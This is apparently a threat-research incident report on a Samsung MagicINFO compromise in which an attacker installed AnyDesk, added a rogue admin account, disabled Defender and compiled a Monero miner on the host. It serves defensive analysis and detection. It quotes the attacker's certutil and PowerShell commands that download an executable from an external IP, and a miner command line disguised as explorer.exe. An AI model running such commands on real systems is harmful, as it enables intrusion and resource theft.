Background

Huntress researchers recently came across a unique incident where, after gaining initial access via exploiting a known Samsung MagicINFO vulnerability and installing a rogue AnyDesk instance on the endpoint, among other things, the threat actor aimed to deploy a cryptominer. 

Cryptominers in incidents aren't uncommon, but what raised our eyebrows was that the actor in this incident compiled the cryptominer directly on the endpoint. They ran commands via Silent XMR Miner Builder.exe (a Windows builder for deploying a Monero, or XMR, cryptominer, commonly associated with the open-source SilentXMRMiner project) that executed several .NET Framework utilities and an array of C compilers. 

Compiling a cryptominer in this way on a victim's endpoint could have various advantages for a threat actor, including allowing them to customize based on the target environment (such as optimizing for the endpoint's CPU architecture). However, these processes also resulted in a significant spike in activity and was – ironically – quite noisy from an EDR telemetry perspective.

The Incident

Initial Access 

Early in September 2026, a managed endpoint was alerted for activity that originated from the Samsung MagicINFO Premium installation on the endpoint. Samsung MagicINFO is digital signage/content management software; Huntress has previously detailed post-exploitation activities for vulnerabilities that have been found in this platform. 

In this incident, the activity was reportedly associated with CVE-2025-4632, a Samsung MagicINFO vulnerability enabling attackers to  write an arbitrary file as system authority. This vulnerability was fixed in May 2025 (after an initial, earlier flaw CVE-2024-7399 was found to have an incomplete fix). In reporting the incident, the customer was informed of appropriate remediation actions. However, eight days later, the endpoint was again reported for different post-compromise activity, which was tied to the same access vector as the previous incident report. 

(Multiple) AnyDesk Install Attempts 

 The initial detections were for attempts to download the AnyDesk RMM to the endpoint. It took the threat actor three times to download AnyDesk from 194.87.89[.]30. At first, they tried to use certutil.exe:

C:\Windows\System32\cmd.exe /c certutil -urlcache -split -f http://194.87.89.30:8899/anydesk.exe C:\ProgramData\AnyDesk.exe 2>&1

However, this command was quickly removed by Microsoft Defender on the endpoint.

The threat actor then tried to use a method involving PowerShell Invoke-WebRequest:

C:\Windows\System32\cmd.exe /c powershell -c Invoke-WebRequest -Uri ""http://194.87.89.30:8899/anydesk.exe"" -OutFile ""C:\ProgramData\AnyDesk.exe"" 2>&

This was again detected and remediated by Microsoft Defender. 

Figure 1 illustrates the EDR detection for the actor's third attempt, which finally worked. 

Figure 1: Detection of AnyDesk being downloaded

Notice the grandparent process tomcat9.exe here. That shows that the command was executed through the Apache Tomcat service, which Samsung MagicInfo runs on top of (Samsung MagicINFO is a Java web application, and like many enterprise Java apps, it's deployed on an embedded Apache Tomcat server).

Once the download succeeded, the threat actor was able to install AnyDesk on the endpoint, and per Figure 2, set the password for AnyDesk.

Figure 2: Password added to AnyDesk

As with Figure 1, the parent process is tomcat9.exe, which again pointed Huntress SOC analysts to the MagicINFO vulnerability. 

Immediately after setting the AnyDesk password, the threat actor created a new user account named oldadministrator. Figure 3 illustrates that the threat actor used the same passwords for the newly created user account and AnyDesk. 

Figure 3: Password use

Following the installation of AnyDesk, the threat actor disabled Microsoft Defender via SystemSettingsAdminFlows.exe, as illustrated in Figure 4.

Figure 4: Using SystemSettingsAdminFlows.exe to disable Windows Defender

Compiling the cryptominer

Once Windows Defender was disabled, the threat actor moved on to their next steps. At this point, EDR telemetry showed an interesting command line:  Silent XMR Miner Builder.exe run from the newly created user's Documents folder. This likely stemmed from  the SilentXMRMiner open-source GitHub project.

Figure 5: Details of the "Main Features" of SilentXMRMiner on GitHub

What followed was anything but silent from an EDR telemetry perspective. There were multiple instances of the .NET Framework utilities csc.exe and cvtres.exe being executed, followed by multiple instances of several different C compilers being run, including donut.exe, tcc.exe, and MinGW64 cc1.exe and gcc.exe. Donut is described as "a position-independent code that enables in-memory execution of VBScript, JScript, EXE, DLL files and dotNET assemblies". Tcc.exe is the tiny C compiler, and the remaining tools are part of the MinGW64 toolset. All of these compilers were seen running as child processes of Silent XMR Miner Builder.exe.

All of these processes illustrated a significant spike in activity, in particular from an unsigned parent process.

Figure 6 illustrates the detection of the resulting cryptominer.

Figure 6: Resulting miner EXE

Finally, telemetry indicated the cryptocurrency miner connected to the C3Pool service (the public cryptocurrency mining pool) to mine Monero using the host's CPU, and potentially its GPU. Notably, it was running under explorer.exe. 

That command line appeared as follows, providing a detection opportunity:

C:\Windows\explorer.exe  --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr  --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=auto.c3pool.org:19999 --user=[REDACTED] --pass=186605 --cpu-max-threads-hint=100 --cinit-idle-wait=5 --cinit-idle-cpu=100

None of the command line arguments are "normal" for Windows Explorer because legitimate Windows Explorer does not use mining arguments (suggesting an injected malicious process); thus this can be used as a detection for this sort of activity.

Conclusion

Due in no small part to the number of managed endpoints across our customer base, Huntress SOC analysts see a wide range of activity, from new or prevalent ransomware deployment, to SQL injection, to some extreme outliers of activity. While Huntress analysts have observed endpoints with cryptominers deployed, having a cryptominer compiled on the endpoint is one such outlier in activity.

Cryptominers are not the issue themselves, though they do consume endpoint resources, The real threat is how they end on the endpoint, whether they're inadvertently downloaded as part of another package, or they're placed on the endpoint as a result of the compromise of a public-facing service. 

The malicious activity outlined in this specific incident could be prevented through the following measures:

• Patching internet-facing Samsung MagicINFO deployments promptly: in the attack, threat actors exploited a known MagicINFO flaw, which had been disclosed in 2025.

• Treating repeated remote-access-tool downloads as a sign of compromise: the actor repeatedly attempted to install AnyDesk, then created a local account and disabled Microsoft Defender to maintain access.

• Monitor for unusual compiler activity, not just known miner binaries: the SilentXMRMiner builder created conspicuous telemetry before the miner was produced.

Indicators of Compromise (IOCS)